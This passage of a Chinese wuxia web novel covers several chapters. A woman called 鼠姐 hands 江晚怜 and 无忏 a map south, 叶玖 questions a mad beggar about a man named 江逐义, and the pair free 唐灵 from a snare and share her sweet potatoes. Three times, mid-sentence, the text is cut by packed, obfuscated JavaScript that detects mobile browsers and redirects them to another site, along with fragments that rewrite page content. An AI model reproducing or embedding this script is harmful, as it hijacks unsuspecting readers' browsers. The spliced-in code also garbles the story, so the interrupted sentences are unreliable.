“怎、怎么会呢?哈哈……”江晚怜干笑两声,试图掩饰被看穿心思的尴尬。 鼠姐也懒得深究她这毫无说服力的辩解,直接切入正题,语气依旧带着那股子驱之不散的懒洋洋:“这么早把你们拎过来,还不是怕你们溜得太快?”她边说,边从她那宽大的袖袋里掏了掏,摸出一卷用细绳草草捆着的、略显厚实的纸张,手腕一抖,便朝着无忏的方向随意抛了过去,“喏,南边的地图,拿去。” 无忏抬手,精准地将那卷纸接入掌中,并未立刻展开,而是先抬起眼,目光平静却极具穿透力地落在鼠姐脸上,应该是在审视这份突如其来的“馈赠”背后是否藏着刀片。片刻后,他才垂眸,解开了那根系得并不紧的细绳。 江晚怜也好奇地凑了过去。 纸张入手粗糙,边缘毛糙,显然有些年头了,原本的白色早已泛成一种不均匀的焦黄,像是被烟火气长久熏染过。墨迹并非纯黑,而是微微晕开的深褐色,线条却画得颇为细致有力。地图的起点明确标注着“渡恶镇”三字,随后,一道醒目的朱红色标记线蜿蜒而出,指引着方向——穿过代表山峦的几条线,越过象征森林的成片墨绿晕染,最终抵达一个清晰的分叉口。 到了这里,红色的标记毫不犹豫地转向了右侧路径。那条路的尽头,是一片用深灰色块仔细绘出的、波涛状的水域,旁边以小字标注:黑水河。而分叉口的左侧,路径则伸向一片用更加浓重、凌乱的墨色涂抹出的区域,虽无文字,但那股阴森不祥的意味已跃然纸上——无疑是鬼哭岭。 然而,这张地图的详尽,也仅止于黑水河畔。河流对岸是一片空白,仿佛世界的规则在那里戛然而止,或者绘图者所知便仅限于此。 一个念头倏地划过江晚怜脑海。 “鼠姐,”她抬起头,看向柜台后那慵懒的女子,“这地图……该不会就是你亲手画的吧?” 鼠姐闻言,眉梢挑动了一下,似乎对这个推断感到些许意外,那总是倦怠的眼里闪过一丝微光:“眼光倒是伶俐……说说,从哪儿看出来的?” “猜的。”江晚怜老实回答,凭的是一种微妙的直觉,地图上那种既细致又带着点个人风格的笔触,以及鼠姐提及黑水河时那种复杂的熟稔感。 “你为何要给我们此物?”无忏已将地图重新卷好,握在手中,问出了最关键的问题,声音冷静而理智,“你说过,你不喜欢麻烦。” “正是因为不喜欢麻烦,才给的。”鼠姐终于从柜台后直起身,绕了出来,站到无忏面前。江晚怜这时才有些惊讶地注意到,鼠姐的身量竟然与无忏相差无几,甚至……似乎还隐隐高了那么一丝丝。她站得随意,却自有一股历经风霜沉淀下来的、不容忽视的存在感。“这玩意儿留在我这儿,除了占地方积灰,再无用处。你们如果铁了心要往南走,去闯那九死一生的鬼门关,这东西说不定还能派上点用场。”她顿了顿,目光在无忏脸上扫过,又瞥了一眼江晚怜,语气里掺入一丝难以捉摸的意味,“况且……顺手给当今的榜首行个方便,解决掉你们可能因迷路或误入险境而给我带来的潜在麻烦,这买卖,难道不划算么?” 无忏听完,脸上依旧没有任何表情波动,甚至连一句最简单的“多谢”都没有。他只是点了下头,算是接收了这份情报与“馈赠”,随即便干脆利落地转身,朝着门口走去,动作没有半分拖泥带水。 江晚怜看得一愣,心里顿时有些着急,甚至下意识想伸手去扯无忏的衣袖——这家伙!人家好歹给了这么重要的东西,对他这种方向感堪忧的人来说简直是雪中送炭,怎么连句道谢的话都吝啬?!基本的礼貌呢? 她赶忙回过头,对着鼠姐露出一个带着歉意和感激的笑容:“那个……谢谢鼠姐!地图我们收下了,真的帮大忙了!我……我替他道个谢!” 鼠姐看着无忏毫不犹豫离去的背影,又看了看眼前忙着打圆场、神情真挚的少女,嘴角扯了扯,那笑容里没有什么温度,反而透着一种近乎漠然的透彻。 “谢就不必了,”她摆摆手,重新靠回柜台,眼皮又懒懒地耷拉下来,声音低了下去,仿佛自语,“说不定下回……不,没有下回了。” 最后那句话轻飘飘地落下,消散在漏雨轩内沉闷的空气里,像一句不甚吉利的谶言,为这场短暂的会面与这份特殊的地图,蒙上了一层薄薄的、难以驱散的阴影。 片刻之后,两人趁着天光尚未完全铺开、渡恶镇仍浸在最后一层淡紫灰色薄纱中的时辰,悄然踏上了新的旅程。江晚怜跟在无忏身后半步之遥,手中小心翼翼地捧着那卷泛黄的地图,一边走,一边借着渐亮的天光低头研究。 “画得还真仔细……连远处的京城轮廓都标了个大概。”她指尖拂过纸上墨线,轻声嘀咕,语气里恢复了往日几分鲜活的好奇,仿佛暂时将夜里的梦魇与连日的沉重都压了下去,专注于眼前的路径与未知的前方。 这样……再好不过。 ——等等。 无忏步履未停,脑海中却因为这蓦然浮现的念头而微微一滞。再好不过?自己为何会闪过这样的思绪?她的状态是否困扰,与任务的完成究竟有何关联?这丝多余的、近乎“关切”的波动,应当如同拂过剑锋的尘埃,无须留意,更不必深究。 他压下那点莫名的涟漪,将心神重新凝于前方的道路与周遭环境的细微变动。晨风穿过空旷的街巷,带来远处零星却清晰的声响。 与此同时,在渡恶镇另一个更为污秽破败的角落,腐烂的棚户阴影与堆积的垃圾之间。 叶玖与李子遥正站在一个形容癫狂、衣衫褴褛的乞丐面前。叶玖面沉如水,秀眉微蹙,目光紧紧锁在那疯癫之人脸上,是前所未有的严肃与专注。而站在她身侧的李子遥,则是一脸难以掩饰的困惑与焦躁,若非顾及师姐,他几乎想立刻拉她离开这脏污之地。 “不是……师姐,你到底怎么了?”李子遥压低声音,语气里满是不可置信,“难不成你还真信了这疯子的满口胡话?”他实在无法理解,素来冷静聪慧的师姐,为何这几日像着了魔一般,四处打探那些虚无缥缈的传闻旧事,如今更是连这种地方、这种明显神志不清的流浪汉的话也听得如此认真?难不成是师门交付的任务太过棘手,让她心神耗损至此? 那乞丐面前摆着一只豁了口的破碗,碗里叮当作响的,并非寻常乞丐所得的几枚铜钱,而是几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061549|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小块成色不错的碎银子——那显然是叶玖刚刚放入的。 只见叶玖对李子遥的劝阻恍若未闻,鹅黄色的衣袖再次一拂,竟又从荷包中取出数块更大的银子,毫不犹豫地投入那只破碗之中。银块碰撞的清脆声响,刺激得那疯子浑浊的眼睛骤然亮起,拍着脏污的双手,咧开缺了门牙的嘴,发出嗬嗬的怪笑。 “师姐!你疯了?!”李子遥惊愕不已,伸手想去拦,却被叶玖一个眼神制止。 叶玖上前半步,无视周遭弥漫的酸臭与窥探的目光,对着那手舞足蹈的乞丐,清晰而郑重地开口,声音清越:“这位兄台,劳烦您,再将方才所述的那个故事……讲得再详尽些,可好?” 那疯子得了重赏,兴奋得手舞足蹈,闻言更是哈哈大笑,声音沙哑刺耳:“哈哈哈——贵人真是大手笔!大手笔啊!好,好!那我就勉、勉为其难,再为贵人讲上一讲!” 他清了清嗓子,浑浊的眼睛望向虚空某处,方才的癫狂略微收敛,竟透出几分诡异的、如同吟游诗人般的腔调,只是嗓音破碎不堪: “天道三十九年……天下大乱,战火连天,杀伐不止。忽又天灾滚滚来,赤地千里,饿殍遍野,人间活脱脱成了修罗场!可那些高高在上的仙家呢?闭门不问世事!官府朝廷呢?自顾不暇!百姓的苦,谁来解?呵……但偏偏,就有那么一个凡人,带着一位下界的仙,还有一个巧夺天工的奇女子,三人于这乱世烽烟里……义结金兰!不为别的,只为给这天下,挣一个太平!可惜啊,可惜……二十一年,弹指一挥间,往事尽成灰,空留……空留一首残诗在人间咯……” 他咂咂嘴,摇晃着脑袋,用一种古怪的、似唱非唱的调子,嘶声念道: “长堤柳色入笙歌,临堤鸢影破春初,江风渡岸追义寻……” 李子遥听得一愣,眉头紧锁。这疯子前言不搭后语,说的都是什么陈年鬼话?更让他心中一震的是,居然此刻竟从这肮脏乞丐口中,听见了那让他不解的诗的下一句?! 叶玖的呼吸急促了一瞬。她垂下眼帘,口中无声地重复着那三句诗:“长堤柳色入笙歌,临堤鸢影破春初,江风渡岸逐义寻……”如果……如果这疯子所言非虚,如果这首诗并非吟咏风景,而是真如他故事中所暗示,关联着三个活生生的人,关联着一段被尘封的、关乎“天下太平”的往事……那其中隐藏的秘密,其分量恐怕远超他们之前的任何想象。 她深吸一口气,压下心头的惊涛骇浪,再次对着那痴痴发笑的乞丐,郑重地拱手作揖:“兄台,不知在下可否再冒昧请教一事?” “呵呵……小贵人但问无妨,但问无妨……”疯子嬉笑着,目光却有些涣散。 “方才故事中提及的那位凡人义士,”叶玖一字一顿,清晰问道,“您可知……他姓甚名谁?” 那疯子闻言,突然像是被什么东西狠狠刺中,浑身剧烈一颤,随即爆发出比之前更为癫狂的大笑,笑声中却充满了难以言喻的悲怆与嘲讽:“江逐义……江逐义!救天下?报百姓?哈哈哈哈哈——!!救得了吗?报得了吗?!哈哈哈哈!!” 他一边狂笑,一边突然用指甲狠狠抓挠着自己的脸颊,留下道道红痕,状若疯魔,眼看就要扑倒过来。 “你这疯子!离我师姐远点!”李子遥见状大惊,立刻闪身上前,将叶玖护在身后,手中剑鞘已微微出寸许寒光。他再顾不上追问,不管三七二十一,拉住叶玖的手臂,强行带着她迅速离开了这片弥漫着疯狂与不祥的是非之地。 直到走出很远,那片破败的角落被重重棚户遮蔽,两人仍能隐约听见风中飘来的、断断续续的、如同诅咒又似哀歌的嘶哑吟唱: “江风渡岸追义寻……追义寻……哈哈……江逐义……逐义……一场空啊……一场空……” 那声音如跗骨之蛆,钻入耳中,久久不散。叶玖回望了一眼来时方向,面色虽沉静,但袖中的手指,却已悄然攥紧。 56. 等待进入网审 “嗯……按这图上看,再往前走走,应该就到了。”江晚怜双手举着那张泛黄的地图,迎着逐渐升高的日头,眯着眼仔细辨认,指尖点在一条蜿蜒的墨线上。她所指的,是图上一个用浓墨勾勒出陡峭轮廓、旁边标注着“千穹山”字样的地方。此山乃是前往黑水河路途中的一道天堑,高耸入云,山势连绵不绝,如一道巨大的屏风横亘在前。图上山林区域被特意以细密的阴影线条强调,旁侧还有蝇头小楷的注释,提及“瘴气偶生”、“虫豸凶猛”、“兽踪隐现”。无需亲见,单看这地图的警示与描绘,便知山中绝非坦途,毒蛇潜伏,猛兽环伺,危机四伏。然而,欲达黑水河畔,翻越此山,似乎是图上标出的唯一途径。 ——但是。 江晚怜缓缓放下地图,仰起头,目光沿着现实中那巍峨磅礴、几乎遮蔽了小半边天空的青色山影,从山脚郁郁葱葱的密林,一直挪到半山腰缭绕的云雾,再到更高处那隐约可见、令人目眩的雪线……她的脖颈都有些酸了。 这人……到底为什么对黑水河如此执着?!你是个杀手啊!杀手不就应该接单、干活、收钱吗!哪有这样莫名其妙、目标明确地朝着传说中九死一生之地闷头前进的!就算你武功盖世、轻功绝顶,这山看着也能把人累个半死啊!更何况是对她这种体能只是中上、纯粹是靠着意志力和运气才没掉队的“普通人”! 她的小脸几乎垮了下来,嘴角虽然习惯性地向上弯着,试图维持一点表情管理,但那弧度僵硬,眼底没有半分笑意,反而写满了“生无可恋”四个大字。她快步追上前面那个步伐稳健、仿佛眼前只是一道小土坡的背影,深吸一口气,试图进行最后的挣扎: “呃……那什么,我就随口一问啊,”她眨巴着眼睛,语气里充满了“你最好说有”的期待,“你会……御剑飞行不?” 无忏脚步未停,只是微微侧过头,丢给她一个极其简短的、带着疑惑的眼神:“……?” 这反应让江晚怜措不及防。“什、什么意思?”她声音都提高了一点,“你不会?!”难道漫画里那些炫酷的修真手段,在这个世界的高手里并不普及? “会。”无忏的回答依旧言简意赅。 会?!江晚怜的眼睛瞬间亮了,像是抓住了救命稻草:“那你就用一次嘛!就一次!带我飞过去好不好?我真不想爬这么高的山啊!”虽然她在漫画里似乎从未见过无忏施展御剑之术,但这并不妨碍她此刻燃起一丝微弱的、关于“偷懒”和“体验奇幻交通方式”的希望小火苗。 然而,无忏连头都没回,仿佛没听见她这饱含期待的请求,脚下步伐甚至没有丝毫迟滞,径直朝着那蜿蜒入山的崎岖小径走去。那背影清晰地传达着一个意思:他没打算用任何取巧的方式。 “喂!”江晚怜僵在原地,看着那毫不犹豫选择“脚踏实地”的身影,希望的小火苗噗嗤一下熄灭了。 或许是察觉到身后没了动静,无忏终于停下了脚步,转过身来。山风吹动他玄色的衣摆和额前碎发,他站在几步开外,静静地看着她,那双异色的眼瞳在秋日山野的阳光下显得格外清晰。 “你在期待什么?” 江晚怜望着他那张万年没什么表情的脸,目光却不由自主地、精准地捕捉到了一个细节——他向来紧抿的嘴角,似乎……极轻微地、向上牵动了一线非常非常细微的弧度。 他……又在逗她! 意识到这一点,江晚怜心头那点因为爬山而生的怨念,瞬间被一种更复杂的、夹杂着些许无力与习惯的情绪取代。得,指望这位大佬体贴她这个“凡人”的艰辛,看来是奢望了。 最终,江晚怜还是认命地耷拉着肩膀,慢吞吞地跟了上去,踏上了那条蜿蜒曲折、不知尽头在何处的山路。因“偷懒”计划彻底破产而带来的打击,让她刚刚因出发而提振起来的一点精神,瞬间消散了大半,整个人显得有些蔫蔫的。 山路难行,落叶堆积。江晚怜深一脚浅一脚地走着,目光不经意间掠过脚边一片彻底枯黄、卷曲的梧桐叶。秋天……快要过去了吧?她忽然生出这样的感慨。 她低头看了看自己身上这件浅藕色的衣裙,原本柔和的颜色因连日的奔波染上了尘土与草汁的斑驳,袖口和下摆也有了几处不易察觉的勾丝磨损。料子不算很薄,勉勉强强能抵御住眼下这带着寒意的秋风。但若是冬天…… 她忍不住打了个寒颤。以这身行头,在四处漏风的荒郊野岭过冬,绝对会在成功抵达任何目的地之前,就先一步冻成冰棍!看来,等有机会到了下一个稍微像样点的城镇,必须得想办法从无忏那里“预支”或者“恳求”一点银钱,置办一身厚实的冬衣才行。 虽然……她心里默默算了算,自己欠这位“债主”的“债务”——早已堆积如山,根本算不清了。 但,反正他也从来没提过,没催过债嘛!江晚怜有些鸵鸟心态地想,颇有点“债多不愁”的架势。 她的目光重新落在前方那个玄色的背影上。少年的身形挺拔如松,步伐始终保持着一种稳定而高效的节奏,仿佛不知疲倦。他的选择,从最初开始,就常常让她摸不着头脑:为什么在江家灭门夜留下她这个“无关紧要”的义女性命?为什么在摆脱追兵后不各自分散,反而带着她一同南下?为什么在得知黑水河与鬼哭岭的凶险后,依然目标明确地选择了前者? 他从不解释原因,完全是一座自行移动的、沉默的谜题。 江晚怜无声地叹了口气,将一缕被山风吹乱的发丝别到耳后,在心里对着那或许存在、或许不存在的“金手指”默默呐喊: “要是我也能像其他穿越题材里的女主一样,配备个实时显示好感度、提示关键选择、甚至能发布点小任务的系统……该多好啊!” 那样她或许能稍微弄明白一点,身边这位心思难测的“债主”,到底在想些什么。 一路上,无忏依旧秉持着他那标志性的沉默。山风穿林而过,带起沙沙的叶响,更衬得这份寂静有些绵长。江晚怜跟在他身后,努力适应着这种近乎“与影同行”的赶路模式——虽然理智上早已习惯,但情感上,尤其是在这需要耗费体力、景色又略显单调的爬山过程中,难免还是觉得有些……无聊。 没人能搭话。试图闲聊?她可不敢保证自己哪句话会不小心踩中这位“活爹”那难以捉摸的雷区,万一他嫌烦了,觉得自己聒噪,手起剑落……那画面太美她不敢想。于是,她只能把满腹的嘀咕和天马行空的胡思乱想都憋回肚子里,偶尔踢一脚路上的石子,或是对着某棵形状奇特的树发呆。 就在她神游天外,几乎要开始数自己走了多少步时,一阵清晰而急促的呼救声,如同投入平静水面的石块,骤然打破了山林的宁静。 “救命啊!救命呀——!!” 声音带着明显的惊恐与无助,穿透林木传来。 ……咦?这声音,怎么听着有点耳熟? 江晚怜几乎是和无忏同时停下了脚步,视线转向声音传来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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前方不远处,一棵极为高大的枫树下,一个穿着洗得发白的灰色粗布衣裙的年轻女子,正以一种极其狼狈且滑稽的姿态,被倒吊在半空中。她的脚踝被一个显然是用来捕捉大型野兽的粗糙绳套牢牢套住,整个人头下脚上,像只不幸撞入罗网的灰扑扑的雀鸟,悬在离地约莫一人高的地方,徒劳地晃荡、挣扎着。她头发散乱,不少发丝黏在因倒悬而涨红的脸上,混合着灰尘与泪痕,看起来又可怜又好笑。灰色的衣裙也被周围的树枝勾破了好几处,沾满了草屑和泥土。 ……还真的,是唐灵。 江晚怜几乎要扶额叹息。这算什么?命运的“二次垂吊”? 唐灵原本听到拨开草木的声响,如同抓住了救命稻草,带着绳子奋力晃动起来,声音里充满了劫后余生的激动:“少侠!少侠们!救、救救我!呜呜……我、我被套住了,下不来了!” 然而,当她的视线透过凌乱的发丝,终于看清了来人的模样时,那激动的呜咽声瞬间卡在了喉咙里,变成了一个惊恐的、无声的抽气。 高束的墨发,玄色的劲装,那柄通体黝黑的长剑,还有那双在斑驳树影下依然清晰可辨的、一绯一翠的异色眼瞳……而他身边站着的那个少女,虽然换了一身浅藕色的衣裙,发髻也有些松散,但那眉眼,那神态,分明就是上次那个威胁自己的—— 江晚怜与无忏。 唐灵的眼泪还挂在眼眶边要掉不掉,整个人的表情却已经从“得救了”的狂喜,瞬间切换成了“怎么又是你们”的绝望与欲哭无泪。 她怎么就……这么倒霉啊!上次挂在树上遇见了这两位,这次换了棵更高的树、更结实的绳套,怎么兜兜转转,落难时睁眼看见的,还是他们?! 57. 谢礼 山风似乎都停滞了一瞬。 唐灵倒吊在半空,维持着一个滑稽又僵硬的姿势,眼泪要掉不掉,脸上混杂着惊恐、绝望,还有一丝“老天爷你玩我”的荒谬感。她看着几步开外那对“煞星”——黑衣抱剑、神色漠然的无忏,以及旁边那个虽然换了身衣裳、但眼神同样让她心里打鼓的江晚怜——只觉得今日出门前大概没看黄历,或者上辈子欠了这二位什么巨债。 江晚怜看着唐灵那副快要晕过去的模样,心里也是五味杂陈。这算什么缘分?她轻咳一声,试图打破这尴尬又诡异的气氛:“咳……那个,唐姑娘,好久不见?呃……需要帮忙吗?”这话问得她自己都有点底气不足,毕竟上次分别的场景实在算不上友好。 唐灵闻言,眼泪终于“啪嗒”掉了下来,不是感动的,是吓的。“不、不用了!我、我自己能行!真的!”她说着,开始更加卖力地扭动身体,试图去够脚踝上那个粗糙的绳套,结果整个人晃得更厉害,像个人形钟摆,反而把自己缠得更紧,发出痛苦的闷哼。 无忏站在一旁,面无表情地看着这场闹剧,既没有上前帮忙的意思,也没有离开的打算。 江晚怜抚了抚额,决定还是做点人事。她走上前几步,避开唐灵乱晃的轨迹,仰头观察那个捕兽套。绳套用的是浸过油的粗麻绳,打的是猎户常用的死结,越挣扎越紧,设计本就旨在困住挣扎的野兽。唐灵一个弱女子,徒手确实很难解开。 江晚怜看着在半空中徒劳挣扎、越缠越紧的唐灵,又瞥了一眼旁边抱剑而立、明显不打算插手此等“琐事”的无忏,心里颇感无奈。总不能真让这姑娘一直挂着吧? 她下意识地伸手摸了摸自己腰间——那里系着一个朴素但结实的皮质鞘套,里面正是无忏之前赠予她的那柄短匕,冰凉的触感透过皮革传来。 对了,她有刀。 只是……这匕首她用得还不算熟练,尤其是要精准割断紧绷的绳索而不伤及悬空乱晃的唐灵,她心里着实没底。她求助般地看向无忏,眼神里传递着“我真上了?万一失手……?”的犹豫。 无忏接收到了她的目光,视线在她腰间短匕上短暂停留,又抬眸扫了一眼倒吊的唐灵和那个粗糙的绳套,随后他幅度极小地点了下头。那动作轻微得几乎像是错觉,但其中包含的意味却清晰:自己处理。 江晚怜深吸一口气,不再犹豫,利落地抽出腰间的短匕。匕身映着林间漏下的天光,泛着清冽的寒芒。 “唐姑娘,你别乱动,尽量稳住,我来帮你割绳子。”她一边说着,一边握紧匕首,走向那棵高大的枫树。 唐灵看到江晚怜手中突然出现的利刃,身体又是一僵,但听到她的话,还是努力抑制住恐惧,停止了大幅度的晃动,只是身体仍因倒悬和紧张而微微颤抖。 江晚怜踮起脚尖,全神贯注,将匕首锋利的刃尖对准粗麻绳绞合最紧密处的一道缝隙。她屏住呼吸,手腕用力一刺、一挑—— “嗤”的一声轻响,一股坚韧的麻绳应声而断,绳套骤然松脱了一截! 有效!江晚怜精神一振,找到了手感。她不再迟疑,专注于手中动作,刃尖沿着绳索结构精巧地游走、挑断。虽然不如无忏那般举重若轻、瞬息解决,但动作逐渐流畅起来。 无忏站在几步之外,目光平静地落在她专注的侧影和稳定的手腕上。少女眉头微蹙,嘴唇抿紧,所有的注意力都集中在指尖那一点寒芒与粗糙绳索的交锋上,那份生涩却认真的姿态,与她平日时而跳脱、时而怂恿的模样颇为不同。 终于,最后一缕麻绳被割断。 “啊!”唐灵惊呼一声,身体骤然下坠。 这次江晚怜有了准备,赶紧上前一步,伸出双臂想去接——结果还是高估了自己的力气和唐灵下坠的势头。两人再次撞作一团,狼狈地跌倒在铺满落叶的地上,滚了半圈才停下。 “唔……”江晚怜被撞得眼冒金星,后背磕在树根上,疼得龇牙咧嘴。 “对、对不起!姑娘你没事吧?”唐灵慌忙爬起来,也顾不得自己灰头土脸,伸手去拉江晚怜,脸上是真切的歉意。 “没、没事……习惯了。”江晚怜借力站起来,拍了拍身上的泥土和枯叶,说得有点心酸。这好像是第二次被同一个人撞倒了。 唐灵站稳后,下意识地后退了小半步,与两人拉开一点距离,手指紧张地绞着破旧的衣角,低着头,不敢直视他们,尤其是无忏。获救的感激,与对这两人“通缉犯”身份的恐惧,在她心里激烈交战,让她不知所措。 江晚怜看她这副惊弓之鸟的模样,心里也有些不是滋味。她收起匕首,然后尽量用轻松的语气对唐灵说:“好了,没事了。你怎么……又挂树上了?而且还是在这山上。”她记得上次分别时,唐灵说过要去探亲。 唐灵听到问话,身体又是一僵,抬头飞快地看了江晚怜一眼,又低下头,声音细若蚊蚋:“我、我上次……在舅舅家住了一段日子,我、我想回自己家看看,就辞别了舅舅。结果……回来的时候,走错路了……不小心上了这片山…”她越说声音越小,脸颊泛红,显然是觉得太丢人。 江晚怜简直不知道该说什么好:“然后就不小心踩中了捕兽套?” 唐灵羞愧地点点头:“我、我光顾着看树上有没有野果子,没注意脚下……” 还真是……江晚怜无语望天。她想起自己怀里那份地图,掏出来展开,就着林间斑驳的光线看了看。“我们现在大概在千穹山的这一片,这山上还是很危险的,”她指着地图上一个区域,“你记得你舅舅家大概在哪个方向吗?或者你家?” 唐灵小心翼翼地凑近一点,眯着眼看了看地图,手指犹豫地指向一个离渡恶镇不算太远、标着个小村落记号的地方:“我、我家好像在这附近……舅舅家更靠南一些,在青石镇边上。” 江晚怜对比了一下地图和她们现在的位置,心中大概有了数。千穹山范围很大,唐灵这七拐八绕的,恐怕离她想去的地方偏差不小。 “如果你要下山,回你家或者再去你舅舅家,从我们现在这里,往这个方向走,”江晚怜在地图上比划了一条线,指向西南方的一条浅淡路径标记,“看到这条小溪了吗?沿着它往下游走,就能走出这片山林,到了山脚下再打听,应该就能找到官道或者去村镇的路了。路上小心点,别再……挂树上了。” 唐灵仔细看着江晚怜指出的路线,眼中闪过希望的光,连连点头:“记、记住了!多谢姑娘!姑娘你……你懂得真多。”她这话是真心实意的,带着感激,又夹杂着对“通缉犯竟然会看地图指路”的微妙困惑。 江晚怜扯了扯嘴角。她收起地图,想着指了路,也该分道扬镳了。 就在这时,唐灵忽地想起什么,手忙脚乱地去解背上那个不大的、打了好几个补丁的灰色包袱。解开后,她小心翼翼地从里面掏出几个沾着泥土、却个头饱满、表皮紫红的红薯。 “姑娘,侠士……我、我没什么值钱的东西能谢你们的救命之恩……”唐灵声音仍有些发颤,却努力说得清楚,“这是家里种的……今年刚收,很甜。你们带着路上烤着吃,能顶饿……要是不嫌弃……”她双手捧着红薯递向江晚怜,眼睛却不敢看向无忏。 红薯?江晚怜看着那几个还带着新鲜泥土的块茎,微微一怔。在这前不着村后不着店的山里,这确实是实实在在能填肚子的好东西。她没想到唐灵会拿出这个作为答谢。 她侧眸瞥向无忏。无忏的目光在红薯上停留了一瞬,没有表示,算是默许。 “那……多谢你了。”江晚怜接过红薯。入手沉甸甸的,还残留着泥土微温。这份谢礼朴实得让人无法拒绝,也悄然冲淡了彼此间因身份而生的尴尬与警惕。 倒让人有些愧疚了……上次还那样吓过她。 唐灵见他们收下,似乎松了口气,脸上掠过如释重负的笑意。她再次向两人鞠了一躬:“多、多谢两位再次相救。我保证,就像上回说的,我什么都不会往外说!我这就按姑娘指的路下山……祝两位一路平安。” 说完,她背好包袱,又看了江晚怜一眼,像是终于攒起些许勇气,极轻地补了一句:“姑娘……你也多保重。”随即转身,朝着江晚怜先前指的方向快步走去。灰色的身影没入枫林深处,这一次,没有再回头。 江晚怜捧着红薯,望着她消失的方向,心下微动。这姑娘胆子是小,也有些迷糊,心地却纯良,知恩图报——哪怕回报只是几个自家种的红薯。两次相逢,竟以这般方式收尾,倒也意外。 她低头看看怀里的红薯,抬头问无忏:“我们……继续赶路?找个地方歇歇脚,把这个烤了?”爬山体力消耗大,这几个红薯来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066488|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是时候。 无忏点了点头,目光掠过她手中的东西,率先转身,沿原定的山径前行,江晚怜赶忙跟上。走出一段,寻到一处临溪的林间空地,两人决定在此稍作休整。 无忏很自然地拾来枯枝,生起篝火。江晚怜则跑到溪边,洗净红薯上的泥土。等她回来,火已燃起,噼啪作响,暖意随光晕漾开。 江晚怜用树枝串好红薯,正要架上火堆,动作却一顿。她抬眼看向无忏——他坐在石上,侧脸被火光映得明暗交错。 她记得此前露宿时,无忏也曾处理过食物,但那手艺……实在不敢恭维。虽然他自己对吃食似乎毫无要求,能吃便罢,可江晚怜的舌头毕竟被现代饮食娇养过,即便落魄了,有机会时仍想善待自己。 这几个红薯是唐灵的心意,也是眼下难得的正经粮食,可不能糟蹋了。 她斟酌着开口:“这次……还是我来烤吧?” 毕竟他之前还特意让自己来烤呢,还说什么……“我烤不好。”这句话江晚怜可是记的清清楚楚! 无忏抬眼。那双异色眼瞳在火光映照下,显得格外幽深。他静静看她,目光平静无澜,却让江晚怜心里微微打鼓,怕这“僭越”惹他不悦。 然而,他只是看了她片刻,便收回视线,淡淡“嗯”了一声。 江晚怜得了允许后,小心将红薯架到火旁,控制着距离,慢慢转动。从前露营时她烤过红薯,知道得离火远些,耐心慢烤,时时翻动,才能外皮焦香、内里糯甜。 山林寂寂,唯闻火声噼啪、溪水潺潺。红薯在火焰的熨帖下,表皮渐渐焦皱、黯沉,一丝丝甜香从裂开的缝隙中钻出,混着柴火气,酿成一种令人安心的暖意。 江晚怜专注地翻动着红薯,时而用树枝轻戳试探。无忏始终安静坐在对面,目光时而掠过跃动的火苗,时而投向远处深林,像在警戒,又像只是出神。 香气愈来愈浓。江晚怜估摸火候已到,将红薯挪到一旁晾凉。她拣出一个烤得最好的,轻轻掰开。焦脆的外皮应声裂开,露出里头金黄绵软、热气腾腾的薯瓤,甜香扑鼻。 她吹了吹,递一半给无忏:“给,尝尝看,应该好了。” 无忏的目光落在她递来的那半截金黄红薯上,停顿了一瞬。火光跃动,映着少女被热气熏得微红的脸,眼神清澈,带着浅浅的期待。 他伸手接过。红薯的温度透过焦皮传来,有些烫。 江晚怜自己也拿起另一半,小心咬了一口。烫!但随之漫开的软糯甘甜,带着炭火特有的焦香,瞬间唤醒了味蕾,暖意直落胃中。她满足地眯起眼,含糊叹道:“嗯……好吃!唐灵家的红薯真不错。” 果然即将入冬时分的红薯最是甜糯。 无忏看着手中的食物,也低头咬了一口。他吃得慢,咀嚼得细致,脸上并无半分嫌弃或厌恶,温热的甜糯渐渐化开,驱散了山间的寒气——等等,江晚怜突然想起来,他不是不喜欢吃甜的么? 但看他吃的还挺“欢”,江晚怜也只是疑惑地瞄了两眼,不再过问。 两人就这样静静分食着烤红薯,谁也没再说话。山风穿过林梢,携来凉意,篝火旁却暖意融融。简单的食物,意外的相逢,指路的善意,朴素的回报……在这危机四伏、前途未卜的南行路上,竟拼凑出一段短暂而平和的间隙。 江晚怜小口啃着红薯,目光不由自主飘向对面沉默的少年。火光在他轮廓分明的脸上跃动,那双异色眼眸低垂着,长睫在下眼睑投下浅影。他依旧像个谜,可他却让江晚怜心中那“反派”的认知,悄然松动了一角。 像他这样的人,似乎比李子遥那样暴躁的男主角,更适合站在故事中央……而不是最终死在作者潦草的笔墨之下。 这念头一闪而过,很快又被江晚怜按回心底。想什么呢?吃饱了就容易胡思乱想。她摇摇头,将最后一点红薯送入口中,拍了拍手上的灰。 “吃好了便继续赶路。”无忏已经吃完起身,还是那熟悉的动作——熄灭火炭,掩灭痕迹,干净利落。 江晚怜连忙起了身,重新做回了榜首大佬的小尾巴。前路漫漫,千穹山才刚启程,黑水河的阴影仍悬前方。枫叶如火,山径崎岖。两人的身影一前一后,再度没入深秋的山林。烤红薯的甜香似还隐约萦绕在鼻尖,与林间气息、与未卜的前路,悄然融在了一起。 58. 这不对吧? 